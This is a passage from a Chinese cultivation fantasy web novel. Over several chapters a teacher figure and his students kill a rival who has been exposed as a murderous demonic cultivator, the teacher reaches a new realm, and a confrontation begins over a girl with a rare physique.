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凹洞起身,浮於半空之中,手一挥,那飞剑便是掠过半空之中,又回到他的手中。
先前确实是他大意了些,只以剑招与少年交手,若是施展些别的手段,也不会沦落到被逼的暗箭伤人的地步。
他吞下一粒金丹,当即气势又恢复到顶点。
这便是帝朝之人的底蕴,哪怕稍有失手,但凡有片刻喘息时间,亦是能恢复巅峰状态。
“好恐怖的一群人,尽皆是二转上阳境界,这便是帝朝底蕴吗?”
看着那一行人,在场众人也是忍不住的感叹道。
这一行七人,除却思无涯外,皆是金光加身,位列前百之中。
为首的那女子金光更是如天柱般粗壮,想来也是前十五之列。
“令牌交出来,今日之事,我可以既往不咎。”
思无涯脸色阴沉的说道。
他心中杀意已然暴涨到了极点,但若是此时以势围杀少年的话,指不定要引起群雄激愤,在场的天骄若是联起手来,哪怕是帝朝也吃不消。
更别说那金榜第五的段凌云先前还出手相助眼前少年,谁知道他二人之间有什麽关联。
故而哪怕杀意丝毫按耐不住,思无涯依旧只能这般言语,想要以势逼其主动交出令牌。
“好一个帝朝,我以我剑夺来的东西,你若有本事,那便凭你手中剑来抢。”
少年冷呵呵的笑道,周身剑气不减分毫,反倒是越来越盛。
“冥顽不灵。”
思无涯与那女子对视一眼,二者皆是举剑而起,一时之间,剑光冲天而出。
其馀五人双手结印,片
刻之间,便有一道铭刻着繁杂符文的大阵缓缓在半空之中升起。
无数柄飞剑在那剑阵之中盘旋,好似剑冢一般。
顷刻之间,少年便感觉到一股威压袭来,令其避无可避。
“你要记住,帝朝威严,绝非凡人所能挑衅。”
思无涯站在剑阵中心之处,身上的剑意攀登到了一个极点,他手握长剑,无数飞剑旋绕在其周身,衬的他好似神人一般。
“真天帝朝没落至此,当真是可悲。”
就在剑阵蓄势待发之际,忽地有一少年竟直直的闯㣉阵中。
正是潜龙榜第一,李玄通。
段凌云亦是弹跳而起,硬生生的凿㣉阵中。
一时之间,天骄榜第一,第二,第五,竟是齐聚一地。
金光之璀璨,遮天蔽日。
在场天骄一时间皆是面面相觑,谁也没想到会出现这般场面。
在以往的百朝大战之中,哪一次这七大帝朝不是呼风唤雨的存在,岂容得他人与之相争。
但如今之日,真天帝朝不但被人堵上门,而且堵门之人更是齐聚金榜至尊。
潜龙榜第一,潜龙榜第二,潜龙榜第五,这三人非但不是在相争,反倒是在联手对敌,这般情形,恐怕任何人见了都得脑瓜子疼吧。
“李玄通,这又与你何干。”
剑阵之中,思无涯瞳孔收缩,脸色难看的说道。
他与李玄通并未真正的交过手,但也曾见过李玄通与段凌云交战的水镜之像。
知道李玄通手段如何恐怖,放眼整个百朝战场之中,恐怕真的没有人会是他的对手。
“我管闲事不行?”
李玄通冷声而语,少年白袍胜雪,有一股傲然神色。
一时之间,不但是思无涯一头雾水,连那手持断剑的少年本人,亦是有些想不明白。
“多谢二位相助,但此阵凶险,陈青锋不值得二位以身涉险。”
少年对身旁二人说道。
他能感受到眼前剑阵的恐怖气息,这般气息之下,恐怕是太阴境强者亦是要为之饮恨。
“无妨,无非是凿阵而已。”
李玄通说道,并未有丝毫惧意。
段凌云亦是点了点头,气息澎湃如海。
“你放手厮杀便是,我二人替你开阵。”
他爽朗笑道。
看着身旁二人,少年亦是豪情满志,当下大喝一声。
“此剑,当天地一寂。”
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第一百零九章 魔功
随着少年一喝,其手中断剑便是急掠而出,裹挟着滔天剑气,好似要将世间的一切粉碎。
段凌云与李玄通二人随那长剑而出,硬生生的在那大阵之中与万千飞剑周旋,没有半点惧意。
这三道气息皆是澎湃惊人无比,令得那大阵摇摇欲坠,好似将烟消云散一般。
伴随着这三气开路,陈青锋亦是身影如惊鸿一般掠出,直直向思无涯而去。
二人在剑阵之中再度交手,剑招凌厉之甚,远要超过先前。
此番亦是生死相争,二人皆再没有丝毫的留手。
剑道虽不是为杀戮而生之道,但毫无疑问,剑道是三千大道中杀伐最重的大道。
一剑而过,便不知多少白骨掩埋於黄沙之下。
此时二人杀意激荡而出,直到这时,剑意才是真正的攀升到了极点。
剑气之惊人,竟已是引得天地为之变色。
而剑阵之中的璀璨剑光间,李玄通与段凌云二人尽皆显露道痕,未有丝毫的留手,哪怕此番大阵位阶不低,但遇此二人,却只能如薄纸一般,被二人以秋风扫落叶之气像横扫。
并不多时,大阵便是尽毁,阵眼的诸位真天帝朝天骄们也是口吐鲜血,重重的自半空之中摔落在地。
一时之间,场中便只剩陈青锋与思无涯二人交手。
二人各换一剑,尽皆倒飞而出,浑身上下皆是被鲜血染红。
思无涯看着对岸站立三人,脸色万分难看。
“开个价吧,此番确实是我输了。”
他咬了咬牙说道。
陈青锋并未有半分犹豫,那柄断剑依旧剑尖直指思无涯,显然是做好了不死不休的打算。
思无涯倒并未看他,而是看向李玄通与段凌云二人。
事实上思无涯肯低下头来,也是因为这二人的在场。
哪怕自己携整个真天帝朝之势,也不会是这二人联手之下的敌手。
虽不知二人因何相助陈青锋,但当下思无涯别无选择,只能这般低头。
出乎思无涯的意料,段凌云与李玄通二人竟都是不约而同的将目光望向一处。
二人目光投向之处,一位青衫夫子用手抹过自己的颈脖,神情严肃,没有半点嬉笑之色。
他的眸子好似寒潭,散发着刺骨而又冻人的凛冽之意。
思无涯眉头紧锁,他实在想不明白,自己是在哪处得罪了这夫子,以至於他冒着与真天帝朝乃至真天圣地结仇的风险,也要让其学生强杀自己。
“不知晚辈哪里得罪了先生,这其中或许有什麽误会。”
他看向陆尘,即便心中万分怨恨,但当下亦是十分恭敬的这般说道。
思无涯知晓,若真是这李玄通和段凌云联手杀人,恐怕百朝大战之中的天骄没一个能活下来,哪怕自己也不例外。
“等死便好了。”
陆尘冷声而语。
他这般言行,不但是思无涯一惊,连李玄通与段凌云二人也都是稍稍一愣。
在二人印象之中,陆尘想来是面色带笑,待人如清风徐来一般,令人万分舒适,极少见到像如今这般杀意毕露的冷声而语。
这般情形,段凌云只见过一次。
那便是在雷池之外,陆尘与那身背血剑的男子相见之时。
虽说并不知晓陆尘为何杀意如此坚定,但二人相视一眼,尽皆起身而出,带着滔天威势逼压而去。
此番是为了杀人,而不是切磋较量,二人自然也没有丝毫的退让,决定到底由谁出手。
当下二人出手,皆是极为恐怖的大杀招,气息之盛,令得周遭的一切都为之色变。
陈青锋亦是跟上二人,头上竖纹浮现,一出手便是杀力最大的剑招。
三道气息自周遭袭来,思无涯已经是避无可避。
在场的所有天骄都在此刻安静下来,或许今日,他们便要见证一场真正的少年至尊陨落了。
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潜龙榜第一,第二,第五。
三人联手,在场众人并不觉得会有什麽人能在这般攻势之中活下来。
只听得有一道声音好似雷霆之声炸响一般,一瞬间响彻整片天地。
在那尘烟弥漫之中,紧接着便有大笑之声响起,声若癫狂。
尘烟散去,只见得在那中心之处,一袭红衣,披头散发之人双袖一展,竟是迸发出一股恐怖异常的气息,一瞬之间将李玄通三人逼退数里。
那人眸子猩红,嘴角挂着狰狞笑意,浑身上下皆散发着一股浓郁的血腥气息,好似自尸山血海爬出一般。
“魔……魔道!”
“真天宫在七大圣地之中,最以除魔卫道为己任,却没想其帝朝之中的首席弟子,竟是为魔道。”
“好恐怖的气息,这般气息,恐怕不比李玄通弱分毫吧。”
一时之间,方圆百里又沸腾起来。
原本以为思无涯必死无疑,谁也没有想到,最终思无涯不但没死,还一时间逼退三大顶尖高手,显露魔道修为。
“这般实力,方才配的上潜龙榜第二的名头吧。”
“难怪,我说潜龙榜第二
怎麽这麽不堪,原来藏了这麽一手。”
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众人议论纷纷,皆是不由得感慨万千。
“真天宫不是最恨妖魔之辈吗?这魔道修为一出,恐怕不但要被剥夺首席弟子身份,更要被宗门追杀吧。”
又有人说道。
七大圣地之中,真天宫除魔最甚,圣地上下皆是对魔道极为痛恨,已是到了恨不得生吞其肉的那般地步。
其门下帝朝首席弟子堕入魔道,这般消息,恐怕不日便要传遍整个东域,徒增不少笑话了。
天地之下,思无涯却丝毫不管耳边的议论之声,放声大笑,肆意无比。
“痛快,当真是痛快,遮遮掩掩多年,今日这身魔道修为,终於得以显露而出。”
他身披红袍,红袍抖动间,已是给人一种疯魔之感,全然没有先前那般名门子弟飘然若仙之气。
山脚之下,真天帝朝的那位女子看着半空之中的癫狂身影,神色复杂,竟又是一口鲜血吐出,染在那白衣之上。
“李玄通,与我一战如何,今日我便要天下人看看,到底谁才是真正的潜龙榜第一。”
思无涯浑身上下散发着一股血腥气息,令人丝毫不敢近其周身半步。
所有人都能感受到其身上气息之磅礴,比之李玄通,的的确确是丝毫不弱,甚至要更胜一筹。
半空之中,陆尘眸子里水雾浮现,显露出思无涯之生平。
【姓名:思无涯】
【年龄:十七】
【境界:上阳境三重】
【命格:黑色——将死之人】
【生平:出身帝朝仙门,出身高贵,自幼便显露出非凡仙资,得宗门众多大能青睐。
后偶见同门师兄虐杀凡俗,年不过十岁的幼童,竟要求师兄带着自己一同行此不道之事。
师兄虽动杀心,但知晓其压身护命之物定然不少,也只能带着幼童一同在暗地里行此杀戮之事。
后一次行事之中,幼童背刺师兄,并在其死前告知他,他父母姊妹亦是身死,而杀人手法与二人往常相一致。
师兄愤恨而死,幼童却更加沉沦於杀戮之中。
后得炼天魔尊传承,修习魔功,魔功每一境界突破,便要吞食万人血肉。
境界越高,所要吞食的血肉便是越多。
思无涯每次便以外出游历感悟大道为由,入偏僻之地屠杀凡俗。
其以虐杀为乐,若见精纯气息女子,手段更为下作残忍,身负血债冤魂,数不胜数。
后入百朝战场,被同辈天骄逼出炼天魔功,遭天骄围杀,身死道消。】
【遭遇:显露出炼天魔功,欲与李玄通一战。】
第一百零一十章 纵身亡魔
思无涯生平尽入陆尘眼底,这便是陆尘铁了心要杀他。
陆尘的底线想来十分明了,那便是修士相争,只要不伤及自己周边之人,那麽手段如何,陆尘也不会觉得有半分不妥。
就如先前思无涯使那飞剑暗中伤人,陆尘也并不觉得这是什麽十分下作的手段。
修士与天斗,与人斗,又怎麽可能一直高风霁月,纤尘不染。
但思无涯於魔道所行之事,却是实实在在的触碰到了陆尘底线。
当陆尘眸子里映照着那些文字之时,脑海之中的那些记忆便是翻涌起来。
他好似一瞬之间就回到山庄之中的尸山血海上,无助的看着周遭尸体,厉声质问着那幼童到底把生命当成了什麽。
从某一方面来看,思无涯的行径比之天渊还要恶劣,要令人唾弃的多。
天渊是以势压人,视天下人如蝼蚁,随意抬脚碾死。
而思无涯则不但要杀人,还是虐杀。
此番行径,陆尘虽与其无冤无仇,但不可能就当没看见,或者是贪图那指导奖励忍着恶心去指点他。
当真如此的话,只怕是自己的道心将之一瞬之间破碎,连跌数境。
半空之中,思无涯气息之盛,已然超过了在场的所有天骄,隐隐间有鬼哭狼嚎之声在天地之间响起,好似那些惨死的冤魂一般。
血红色已经将整片天日尽染,好似残阳洒落。
对於思无涯之相邀,李玄通出乎众人意料的摇了摇头。
“我要杀你,而非切磋。”
他语气平淡而语。
思无涯放肆大笑,长发散披,红衣招摇。
“什麽潜龙榜第一,不过也是个懦夫罢了。”
他大笑着讥讽道。
面对思无涯之讥讽,李玄通却是不再多言语,掌心水波荡漾,身影一跃而出。
陈青锋与段凌云亦是齐身而出,尽皆使出恐怖杀招。
思无涯魔功运转,那血红色的魔气在其周身环绕,好似一条血河。
他双手结印,一瞬之间,万千骷髅状的虚影齐出,猛的袭向三人。
一时之间,思无涯竟是丝毫不落下风。
场中的天骄又是一惊,谁也没想到,思无涯这魔道修为显露后竟真的这般恐怖,一时之间与三大少年至尊交手,竟是丝毫不落下风。
“思无涯如今气息之盛,恐怕已然到了百朝大战第一人的地步吧。”
有人忍不住的感慨道。
百朝大战之中魔道亦是不少,也并非所有魔道都是人人喊打的地步。
就如中土有一魔门名为长恨楼,虽满门尽皆魔道,但所行之事,却是令许多仙门亦是自愧不如。
但像思无涯这般出身顶尖仙门之下,却暗自修习魔道之人,倒是属实少见。
再者观其这血红色的灵气激荡,恐怕手中沾惹了不少人命,早已是背负了不知多少因果。
“他如今的确算的上百朝大战第一人,但一而再,再而衰,三而竭。面对李玄通这几人,也撑不了多久了。”
有一位少年至尊这般说道。
他身上金光冲天,显然也是位列前十之人,要比他人看的更透彻一些。
如其所料,数十招过後,思无涯显然便是有些招架不住,接连中了几道杀招,身影若流星般猛的坠落在地。
三人齐至,杀招迫人,不给其丝毫的喘息之机。
就在那杀招砸落之际,一道白色轻纱的妙影忽地出现在思无涯身前,替他挡住这恐怖杀招。
女子喋血而倒,落在思无涯怀中。
思无涯却是大笑不止,状
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若癫狂。
女子伸出手,颤颤巍巍的,似乎想触摸其面庞。
“其实我早就知道……你是魔道了……我也知道你杀了很多人……”
女子面色惨白,嘴角有鲜血在流淌。
“我时常做噩梦,有时梦到你杀了好多人,站在尸山血海中冲着我笑,有时又梦到你梦天下人追杀,狼狈不堪。”
“现在这样也挺好的,我们可以一起死了。”
她笑了笑,抓住思无涯的手,贯穿自己的胸膛。
“我知道,你一直很想杀我,听说作恶的人会入十八层地狱。”
“那就让我们一起去吧。”
女子紧紧贴着思无涯,那只手贯穿她的整个胸膛,沾满着猩红血色。
思无涯抽出那只手,死死的盯着周遭众人。
“百年,只要百年,明明百年後我便可跻身魔尊,纵横天下,届时哪怕世人知我是魔道又能如何!”
“为什麽!为什麽非要逼我!”
他面目狰狞的咆哮着,双手尽是死死掐着已然身死道消的女子,就好似是她将其逼到这一地步一般。
女子被其周身灵气撕碎,一时之间连尸身也不复存在。
待得手中空落落後,思无涯又颓然坐倒在地,看向半空之中的陆尘。
“我还是不明白,你为何一开始就铁了心要杀我。”
他十分不解的问道。
“杀。”
陆尘并不解释,他的眸子冰冷,全然没有因为眼前这一出苦情戏而有丝毫的情绪波动。
该死的人就
是该死。
没有那麽多的理由。
被其所杀的千千万万人,可不会有机会在死前这般呐喊咆哮着。
他们的死寂静无声,但有人在意。
第一百一十一章 老乞丐和小乞丐
山峰脚下,李玄通三人杀招齐出,威势迫人。
思无涯似乎也接受了自己将要身死的事实,当下也不再做什麽无谓的挣扎。
他傲然站立着,红衣随风照耀。
“怎奈天公不作美,天公不作美啊。”
思无涯仰头大笑着,还未待得李玄通等人杀招砸落,便自行化道於天地间,再未留下半分气息。
一场少年至尊之争,自此落下帷幕。
谁也没想到,最後会是这样一般结局。
思无涯修行魔道之事出乎众人的想象,而他实力境界之强悍,也同样出乎众人想象。
虽说最终落得个身死的下场,但没人能否认,他在显露魔道修为的那一刻,的的确确站在了这百朝大战诸多天骄的顶点。
哪怕是李玄通,当时若真与之一一交手,恐怕胜负也是未可知。
当然这般情况并未出现,当李玄通等三人联手时,便已注定思无涯不会有半分活路。
在场众人感慨不已,真天帝朝之人则是失魂落魄的站立在寒风之中,双目失神,全然没有缓过神来。
他们就好像是提线木偶一般,眼中再没有了半点色彩。
不过半日之间,真天帝朝的大师兄大师姐便尽皆身死,那位原本高居潜龙榜第二的大师兄更是以魔道之身而死,这委实令这些天骄难以接受。
“倒也算是为民除害了。”
有人又这般说道。
场下天骄大多出自仙门,虽不像真天圣地那般激进,视天下魔道之人皆为臭虫,但大抵都对魔道观感不佳。
更别说思无涯那一身灵气已经染的天地变为血腥颜色,显然都已经不是寻常的修行魔道,而算的上是遭天地所憎的邪修了。
“其血气之浓郁,恐怕背负了不下数十万条人命,死有馀辜罢了。”
又有一天骄开口而言。
在场众人虽有诸多人并不把山下凡俗视作同类,但却也并不代表可以无视数十万人之生命,觉得这是什麽可以谅解之事。
“这般看来,那位夫子恐怕是早已得知思无涯行此魔道之举,这才会杀意如此这坚定吧。”
有人抬头望向那半空之中的一袭青衫,只觉得他宛若神人。
以往向来只是听说其指点天骄良多,受人所追捧,今日一看,哪怕是李玄通这般傲气之人,对於那位夫子所言也是言听计从,可想而知其威信有多麽可怕。
隐隐间,这百朝大战之中的天骄似乎已然以那位夫子为圆心了。
“多谢前辈相助。”
山脚下,陈青锋收起那断剑,对陆尘行礼谢道。
少年显然并不常行这古板礼仪,当下只是凭着印象复现这行礼之举,一板一眼的,竟是有些滑稽。
陆尘轻微点头道:“无妨,他本就该死。”
他的眸子里水雾泛起,少年头顶血红色的气运已然消散,取而代之的紫金颜色。
【姓名:陈青锋】
【年龄:十七】
【境界:上阳境二重】
【命格:紫金——一方至尊】
【生平:出身陋巷的孤苦少年,父母早逝,流连於市井之中,倍受欺凌,颠沛流离,后见一乞丐寻死,少年救之,小乞丐与老乞丐自此相依为命,二人一同在市井之中流离。
后因老乞丐总是偷酒,更引得二人遭了不少顿毒打。
少年屡次劝解,老乞丐并不听,后陈青锋负气离开,多日後回来,一脚瘸着,双手捧着香气扑鼻的酒壶。
老乞丐头一次的没有嗜酒如命,并未理会陈青锋,自顾自的睡了一宿。
第二日,老乞丐取出一柄断剑,说要教少年剑术。
少年只觉得老乞丐又发神经,并不以为意。
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待得老乞丐苦求多日後,少年才握住那柄断剑。
一瞬之间,剑意在其胸中激荡。
天生剑胚。
若是外界有仙门得知,指不定会为了眼前少年争的头破血流。
老乞丐却并不意外,按部就班的指点少年剑术。
后陈青锋入百朝大战,与潜龙榜第二交手,差点遭其飞剑暗算,幸得贵人相助,避过此劫。
经此一战後,陈青锋名声大噪,天下人皆知有此剑修,也知其师从一爱偷酒喝的老乞丐。
待得少年功成名就回破庙之时,老乞丐却已然离开,只留下一封信。
这是陈青锋第一次见其写字。
老乞丐在信上说要去寻一故敌,原本十多前,自己的剑心便已破碎,一心寻死,后见陈青锋流落市井之中却仍不坠青云之志,方才苟且偷生而下。
信末老乞丐说,我平生可称道之事不多,一是侥幸剑道称尊,二是有徒如此。
此生已无憾已。
少年泪流满面,委实想不到
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这般文绉绉的话出自那个总是醉酒的老乞丐。
后其追寻多年,知晓与老乞丐有往日恩怨之人。
多年後,陈青锋跻身至尊之境,问剑那位已然成为道君,站在天底下剑道至高之处的某一人。
陈青锋以一身修为
性命为代价,拼得那位道君跌落至尊境界,失帝路争锋之机。
五域四海自此皆知师徒二人名号。】
【遭遇:与天骄一同围杀潜龙榜第二之人。】
武道天眼之下,少年的生平尽入陆尘眼底。
看着眼前少年,陆尘心底也是一阵唏嘘,未免有些许悲伤之意兴起。
不过他以旁人视角来看,或许觉得这是个悲剧,但可能在他们师徒二人心中,问剑而死,恐怕都已经不负自己手中长剑了。
剑修之一生不过如此,以剑杀人,被剑所杀。
无论如何,至少剑之所至,便是心之所指。
这也是为何修行剑道的修士,道心总要比之常人更为坚毅些。
原本按照武道天眼的观测,陈青锋与思无涯皆会身受重伤,至於那真龙令,则仍是会回到思无涯手中。
不过陆尘在见到思无涯的生平后,便已经下定决心要其身死,使得二人命格皆是发生变化。
思无涯暴露魔道修为,命格由红色转为黑色。
陈青锋则是由红色转为紫金颜色。
【夫子之责形式完毕】
【将获得大量回馈奖励】
【奖励一:一品剑道真意——意气盛】
【奖励二:三百年封王境修为】
【奖励三:天阶灵宝——飞花剑匣】
就在此时,系统的机械声也在陆尘耳边响起。
又是一道一品真意。
如今陆尘手握三道剑道真意,一道雷道真意以及水之大道真意,此五道真意皆极重杀伐,哪怕是那水之大道真意,亦是名为堙灭,好似有滔天洪水将要灭世一般。
若是外界人知晓,只怕是觉得陆尘是什麽千古未有之奇才,一人竟能悟得如此之多的大道真意。
不过之於陆尘而言,大道真意虽多,却已然令其有些许的道意杂乱了,时不时的想将这些真意杂糅在一起。
当然陆尘只是这般想,却并没有这般做。
毕竟大道难悟,最是耗费光阴,而光阴对於陆尘来说,比世上一切珍宝都来的珍贵,自然不能浪费在追求这虚无缥缈的大道之上。
第一百一十二章 真一
意气峰下,陆尘又指点了几人一二句后,便飘然离去,寻得一处寂静之地,安然吸收系统所给予的奖励。
龙脉之地机缘良多,陆尘自然也未时时刻刻的把段凌云林炎等人带在身边,而是任由他们自寻在这龙脉之地闯荡。
当然说是闯荡,实则也并不算了。
毕竟段凌云与李玄通一战後,这百超战场的天骄们并知晓有少年至尊恐怖至此,自然也没有谁会再去招惹段凌云与林炎二人。
至於山崖等三人,实力虽在这龙脉之地窸窣平常,但有陆尘给予的灵宝,自保倒是绰绰有馀。
历经这龙脉之地的三月,陆尘指点过的天骄又多了不少,如今在这龙脉之地,起码已经有四分之一的天骄受到过陆尘的指点,这已然是个极为恐怖的数字。
等这一批少年至尊们真正走上修行路的远处时,可想而知陆尘的影响力会有多大。
恐怕是诸圣地的圣主,也未能有这般恐怖的威信。
之於陆尘而言,看重的倒不是这些天骄的成长性,毕竟论起成长速度而言,陆尘自己才是真正的天下第一人,古今没有任何人能企及。
陆尘看重的更多是这些天骄背後交错的关系网,届时若面对天渊,自己也不至於孤身一人。
这也是为什麽每日只有一次领取指导奖励的机会,但陆尘指导过的天骄,却远远要超过这个数目。
一处幽寂的山峰之上,陆尘双眸紧闭,内视灵海。
历经三月,陆尘已然到了封王境巅峰境界,离真一境界只差临门一脚。
这还是陆尘有意的在将修为压制的情况下,若是他放开去吸收,恐怕早已经踏入真一境界。
只是境界提升过快,哪怕有花神之蕊等神物压身,亦是难以遏制境界虚浮的毛病。
如今在这龙脉之地以龙气淬炼数月,陆尘方可放开身心去吸收这境界修为。
只见灵海之中,有白色光团漂浮,好似浮尘一般。
陆尘周天灵脉流转,那白色光团便是四散开来,一瞬间白光大放,笼罩着整片灵海。
那枚麒麟玉亦是散发着洁白光芒,好似世界最为纯净之物一般。
其底下有旋涡凭空浮现,将大半的光芒尽数吞噬。
其馀的白光则是四散流入陆尘灵脉之中,一瞬间使得其心海正中心的那太阴之水沸腾而起。
太阴之水摇晃变幻,与那轮有着三圈光环的灿阳所交融,好似天地合并为一一般。
不仅是这二者,那高耸矗立,紫气缭绕的紫府以及九层白玉碧阶的道台,皆是悬浮起来,一同杂糅在那光晕之中。
一时之间,陆尘只觉得自己灵海之中好似空落落的,却又好似充足无比。
这是十分矛盾的感觉,但陆尘知晓,那所谓的真一,便藏在这其中。
真一,此境名称之由来,得之於一篇上古真言,天地与我并生,万物与我为一。
此之谓真一。
而到了封侯封王境界的修士,大抵也都听说过这番话,也知晓悟道真一境的玄妙便藏在这两句话中,但能领悟之人,却是少之又少。
诸多封王境修士卡在这一境界,几近一生。
此境与修为倒说不上无关,但关系却是要少的多,并非向先前那般,修为达到一定地步便能一跃而上。
修行十五境上,有四个公认的节点。
一是紫府。
筑成紫府客,方是我辈人。
修行之人在世俗人眼中统称为仙人仙师,可於修行中人看来,唯有踏足紫府境界之人,方才是真正的踏足修行之一条长路。
至於锻体,凝气,道台等三境界,则与世间凡俗并无两样。
其二为神游。
神游境界是修仙之人的第一道高墙,拦下了诸多破境神速的天之骄子。
此番境界亦是追求意境,即所谓的道。
若是悟不得这神游之意,哪怕修为已远非太阴境界修士所能比拟,也不能真正的踏足神游之境。
其三则是这真一境界,此番境界,更是已然相当於一番悟道,诸多在此前高歌猛进的天骄被困於封王境界,甚至一生难以踏入真一境。
悟道一事玄之又玄,对於某些人来说可能如吃饭喝水那般简单,但对於另外一些人来说,又有如登天。
至於这第四个节点,自然是至尊之境。
至尊之下,皆为蝼蚁。
这可并非是什麽戏语,而是确确实实这般。
古往今来,哪怕是少年大帝,也从未有过逆伐至尊之举。
至尊修士已堪称天地顶点,在其之下的任何修士与之相较,皆如同蝼蚁。
哪怕你身负何种滔天气运,哪怕你身负何种血脉仙体,在至尊眼中,都与其他蝼蚁无二,一念可生,一念可死。
想要踏足至尊境界,自然也绝非易事。
虽说陆尘如今见过这麽多身负紫色气运之人,但这也只能说明这些身负紫色命格之人有这个成尊之机,至於到底能否成尊,却绝不可能如武道天眼观测的那般轻易。
若只论天姿,古往今来能成帝者并不在少数,每一纪元都不下有十位。
可真正登临帝位者,一纪元只有
一人。
而自混沌初开之际到今时今日,也不过只有九位帝者。
至尊虽要远远超过这个数,可比起陆尘瞧见的那些紫色命格,却是少之又少。
这些身负至尊命格的少年天骄们,真正能成至尊者,恐怕也十不存一。
真一,真我境界修士号称真君,自此境界,已然是在五域四海都有不小的名号,平时与同辈修士相交,也大抵是以真君名号相称,极少用自己本名。
真我之後,乃为至尊。
至尊合道,即入道君之位。
之所以道君并非是个节,则在於能成至尊者,皆是人中龙凤,无论是道心亦或是天姿皆是亿万中无一之辈,若想入道君之境,几乎是十拿九稳。
无非是合道之大小强弱的分别。
而至尊迟迟不入道君境界的原因不外乎有二。
其一是道君所窃取天地本源良多,遭天所妒,时不时便要受天劫侵扰。
而天劫只会一次比一次强,直至天道将其视为蟊贼的道君修士磨灭殆尽。
其二则是道君之根基,则是在其所合大道。
大道独行。
至此道君境界者,其所合之道上,只会有一位道君。
如天地间有至尊以剑道合道入道君,那天底下便再不会有剑道道君,除非是其身死,这个位置才会让出来。
大道虽皆源於天地万物,然其却有强弱之分。
所合之道越广越深,踏足道君之境者亦是会越发恐怖。
故此至尊基本不会轻易踏足道君境界,皆是压制自身修为去领悟天地大道。
待得帝路大开之时,方才合道踏入道君境界,入帝路争夺帝位。
当然这也是有风险的做法,毕竟大道虽是广袤无穷,可大抵上公认的一品大道,却是有限,皆是一个萝卜一个坑,别人若是先占着了,那显然就断了这条路後来人跻身道君的希望。
大道虽是难求,可能成至尊者,哪一个不是踏着同辈天骄的累累尸骨站在修行路之顶峰的,没有谁会轻易的合道,浪费这一身至尊皆为,几乎每一位至尊,都是铁了心要合一条大道,哪怕因之蹉跎岁月,也全然无悔。
毕竟对於至尊而言,在帝路未开启之前,千年与万年,其实并没有什麽两样。
幽寂山峰之上,日月已经轮换数日。
待得又一次日升之时,陆尘才缓缓睁开眸子,整个空灵至极,好似不在凡世一般。
而其体内,紫府,道台,太阴水,上阳,皆已经消融在灵海之中,化作真一。
他站起身来,天地一切好似与自己有着莫名联系一般。
风声,鸟声,花草摇曳声。
万物之声入耳,好似天地在呼吸一般。
陆尘双袖随风招摇,於天地好似一物。
此即为真一。
自此後,天地不再对其有任何拘束,五域四海,皆可游之。
神游境者神魂可周游天地,肉身却仍然受天地压制,而封侯境以及封王境强者虽封王裂地,在自己一方世界之中与天地抗衡,却仍不能得逍遥。
至真一之境,与天地并生,与万物为一,方可
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称之逍遥。
“真君……”
陆尘自顾自呢喃着,至此境界者,大抵都有个扬名在外的道号,陆尘倒是并没有想好,自己该如取个什麽道号要好。
“若是以往,倒是可唤个闲人真君,只是如今,倒是清闲不下来了。”
就在陆尘唏嘘感慨之际,其袖中有一块玉牌散发白光,传来微弱响声。
“先生救我,我想死了。”
那是个清脆的女声,微弱的话语间已然有些许的哽咽。
陆尘轻笑一声,那个小魔女显然是已经被太阳圣体所追杀,当下走投无路才会想自己求救。
“那便去瞧瞧吧。”
感知着那玉牌方位,陆尘目光望向某处,只见得远方有光柱冲天而起,赫然是潜龙榜第三人。
……
龙脉之地,千鸟谷。
山谷之中,诸位天骄齐聚一地,围绕成圈。
圈中有位身材娇小的少女,目光冷漠的看着在场诸位天骄。
“太阴真体与我之太阳圣体本为天成,我可引你入太虚圣地,我为圣地神子,你可为圣地神女。”
为首的那位天骄剑眉星目,浑身散发着一股迫人气息,好似大日亲临一般。
天骄名为郭怀风,给人的感觉却与清风极不相符,并未令人感觉到什麽如沐春风,反而是备受压迫。
太阳真体,乃为与古之荒古神体齐名的一种仙体,早在入百朝大战之前,其实郭怀风便已经被太虚圣地的大能选中。
只是百朝大战之中毕竟机缘无数,少年也亲自走了这一遭。
对郭怀风而言,这一遭走的倒委实值得,不但见识了诸多同辈天骄,知道所谓的天外有天,人外有人,更是得遇太阴真体。
太阴太阳,获可得之混沌。
混沌体,古往今来第一体质。
自混沌初开以来,凡身负混沌体之人,但凡未在弱小之时遭扼杀,皆称帝。
九帝之中,便有足足两位乃是混沌体。
而混沌体之出世,有
记载以来也不过四人。
这四人无一不是横压同辈天骄之人,从未有与之齐名之敌手。
不一样的是有二人称帝,有二人则是尚在弱小之际便遭抹杀。
混沌体之由来,世间流传的说法繁多。
但最为主流的一个说法,那便是太阳真体与太阴真体所生之血脉,可为混沌体。
而对於太阴真体与太阳真体本身来说,一同修行也是件获益极大之事。
而太阳真体若得太阴真体之精粹灵韵,更是潜龙离渊,一飞冲天。
“仙门仙门,这麽多人欺负奴家这麽一弱女子,可当真是光明磊落的厉害。”
少女的陌然神色消退,转而显露出丝丝许许的笑意,其身材虽是娇小,但一颦一笑间,眸子碧波流转,令人好似被春风拂面一般。
“你可不是什麽弱女子,我知道你,魔门妖女,不少天骄都在你手中吃亏。”
郭怀风笑了笑说道。
他笑容虽是和煦,却始终给人一种压迫之意,令人不敢与之对视。
但少女却并不畏惧,美眸与之对视,依旧是碧波荡漾。
“无论怎麽说,公子高居天榜第三,却要唤这麽多人一同行动,若是外界知晓,总归也是脸上无光吧。”
少女又是笑着说道。
即便心中已然对周遭仙门天骄厌恶万分,少女却仍然在脸上保持着笑意。
这是魔道妖女的修养,绝不把心事显露在脸上。
“虚名而已,又何必在意,太阴真体於我而言比之这百超战场任何一物都要贵重,不容有失。”
郭怀风轻笑而语,手中已经有一团灵气凝聚,散发着迫人至极的气息,好像是手握一轮大日一般。
夭夭微眯了眯眸子,感知着陆尘手中玉牌位置。
还有一段距离。
“我可以答应你,但我有三个条件要提。”
夭夭伸出纤纤玉指说道。
郭怀风点了点头。
“莫说是三个,便是三百个,我也答应。”
他亦是伸出三根手指。
第一百一十三章 太阴太阳
见郭怀风表态,夭夭满意的点了点头。
当下又竖起一指说道:“这第一件事呢,便是先让这些人退却百里,你我二人单独相谈,百里位置,若我真想跑,他们依旧得以围困。”
少女额间碎发垂落,风一吹过,便有股异样的美感。
“可以。”
郭怀风向左右望了一眼,众人便是心领神会退到百里之外。
山谷之间,一时只有郭怀风与夭夭二人。
“这第二件事便是我幼时便已打定主意,我之道侣,只能为天下第一人,你如今只是天榜第三,若你能夺得天榜第一的位置,这第二件事便算的上完成。”
夭夭又说道。
听到这个条件,郭怀风倒是摇了摇头。
“若想要与李玄通分胜负,那便是生死之争,此事我答应不了你。”
郭怀风说道。
